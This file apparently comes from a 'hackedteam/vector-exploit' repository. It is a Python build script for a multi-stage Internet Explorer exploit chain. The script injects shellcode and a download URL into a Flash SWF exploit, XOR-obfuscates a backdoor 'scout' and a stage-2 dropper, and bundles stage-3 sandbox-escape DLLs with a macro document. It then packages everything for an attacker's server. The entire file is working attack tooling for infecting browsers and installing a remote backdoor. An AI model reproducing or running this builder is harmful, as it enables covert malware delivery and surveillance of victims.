hackedteam/vector-exploit

View on GitHub
ht-2013-004-IE/exploit.py

Summary

Maintainability
A
1 hr
Test Coverage
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
import zipfile
import time

def random_id(length):
    number = '0123456789'
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    id = ''
    for i in range(0,length,2):
        id += random.choice(number)
        id += random.choice(alpha)
    return id 

def four_byte_xor(buf, key):
    out = ''
    for i in range(0,len(buf)/4):
        c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
        c ^= key
        out += struct.pack("<I", c)

    reminder = len(buf) % 4
    for i in range(len(buf)-reminder, len(buf)):
        c =  struct.unpack("B", buf[i])[0]
        c ^= 0x41            
        out += struct.pack("B", c)
    return out

def byteArray2String(param):
    with warnings.catch_warnings():
            warnings.simplefilter('ignore')
            tmp = os.tempnam()

    f = open(tmp, 'wb')
    f.write(param)
    f.close()
    
    f = open(tmp, 'rb')
    result = f.read()
    f.close()
    
    try:
        os.unlink(tmp)
    except WindowsError:
        print "I/O error when deleting %s file"%(tmp)
    
    return result

def create_swf():

    XOR_OFFT = 4 * 2
    URL_OFFT = 8 * 2

    # decompress swf
    compressed_swf = open("resources/exploit.swf", 'rb').read()
    swf_buff = zlib.decompress(compressed_swf[8:])

    swf_buff = swf_buff.replace("ht-201", "abc123")
    swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")

    # get offset to shellcode
    stage2_offset = swf_buff.find(b"00000000000000006408908F")
    if stage2_offset == 0:
        print "[!!] Gadget for shellcode not found"
        sys.exit(-1)
    print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)

    swf_bytearray = bytearray(swf_buff)
    
    # replace shellcode
    shellcode = open("resources/shellcode", 'rb').read()
    hex_shellcode = shellcode.encode('hex')
    for i in range(len(hex_shellcode)):
        swf_bytearray[stage2_offset + i] = hex_shellcode[i]

    # modify URL
    hex_url = stage2_url.encode('hex') + "0000"
    for i in range(len(hex_url)):
        swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
    
    # modify xor key
    hex_xorkey = ("%08x" % binary_xor_key)

    swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
    swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
    swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
    swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
    swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
    swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
    swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
    swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]

    # compress swf
    uncompressed_len = len(swf_bytearray)
    uncompressed_len += len("ZWS\x0d") 
    uncompressed_len += 4 # + se stessa

    print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
    lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
    
    compressed_len = len(lzma_buff) - 5
    print "[+] Compressed len: 0x%x" %(compressed_len)
    
    output_buff = "ZWS\x0d"
    output_buff += struct.pack("<L", uncompressed_len)
    output_buff += struct.pack("<L", compressed_len)
    output_buff += lzma_buff
    # write it 
    open(swf_random_name, 'wb').write(output_buff)
    
def binpatch(string, placeholder, replacement):
    return string[0:string.find(placeholder)] + replacement +  string[string.find(placeholder)+len(replacement):]






random.seed()

base_url = sys.argv[1]
if not base_url.endswith('/'):
    base_url += '/'
backdoor_filename = sys.argv[2]
server_zip_filename = sys.argv[3]
final_scout_name = sys.argv[4]
host_url = sys.argv[5]


binary_xor_key = random.randint(0xdead, 0xdeadbeef-1)
scout_random_name = random_id(12) + ".dat"
stage2_random_name = random_id(12) + ".dat"
stage3doc_random_name = random_id(12) + ".dat"
stage3java_random_name = random_id(12) + ".dat"
dll_random_name = random_id(12) + ".dat"
doc_random_name = random_id(12) + ".docm"


if not os.path.exists("c:\\RCS\\DB\\config\\test"):
    swf_random_name = random_id(12) + ".swf"
else:
    swf_random_name = "avtest.swf"

stage2_url = base_url + stage2_random_name
swf_url = base_url + swf_random_name
scout_url = base_url + scout_random_name
stage3doc_url = base_url + stage3doc_random_name
stage3java_url = base_url + stage3java_random_name
   
print "[+] base_url:\t %s" %(base_url)
print "[+] backdoor_filename:\t %s" %(backdoor_filename)
print "[+] backdoor_filename:\t %s" %(backdoor_filename)
print "[+] final_scout_name:\t %s" %(final_scout_name)
print "[+] host_url:\t %s" %(host_url)

print "[+] SWF:\t %s" %(swf_url)
print "[+] STAGE2:\t %s" %(stage2_random_name)
print "[+] STAGE3_DOC:\t %s" %(stage3doc_random_name)
print "[+] STAGE3_JAVA:\t %s" %(stage3java_random_name)
print "[+] SCOUT:\t %s" %(scout_random_name)
print "[+] XOR key:\t %x" %(binary_xor_key)


create_swf()

# create scout
backdoor_buff = open(backdoor_filename, 'rb').read()
open(scout_random_name, 'wb').write(four_byte_xor(backdoor_buff, binary_xor_key))

# create stage 2
stage2_buff = open("resources/Shellcode-Stage2-IE.exe", 'rb').read()
stage2_buff = binpatch(stage2_buff, "EXE_URL".encode("utf_16")[2:], scout_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "EXE_NAME".encode("utf_16")[2:], final_scout_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DOCESCAPE_URL".encode("utf_16")[2:], stage3doc_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "JAVAESCAPE_URL".encode("utf_16")[2:], stage3java_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DOC_TEMP_NAME".encode("utf_16")[2:], doc_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DLL_TEMP_NAME".encode("utf_16")[2:], dll_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "SCOUT_TEMP_NAME".encode("utf_16")[2:], scout_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "ORIGINAL_URL".encode("utf_16")[2:], host_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = stage2_buff.replace("\xef\xbe\xad\xde", struct.pack("<L", binary_xor_key))
open(stage2_random_name, 'wb').write(four_byte_xor(stage2_buff, binary_xor_key))

# create stage 3 - java
stage3_buff = open("resources/PMIEFuck-Java.dll", 'rb').read()
open(stage3java_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))


# create stage3 blob (lib + doc)
stage3_lib_buff = open("resources/PMIEFuck-WinWord.dll", 'rb').read()
stage3_lib_len = len(stage3_lib_buff)
stage3_doc_buff = open("resources/owned.docm", 'rb').read()
stage3_doc_len = len(stage3_doc_buff)

stage3_buff = struct.pack("<L", stage3_lib_len)
stage3_buff += struct.pack("<L", stage3_doc_len)
stage3_buff += stage3_lib_buff
stage3_buff += stage3_doc_buff
open(stage3doc_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))


# zip per server
os.system("zip.exe -r %s *swf *dat" %(server_zip_filename))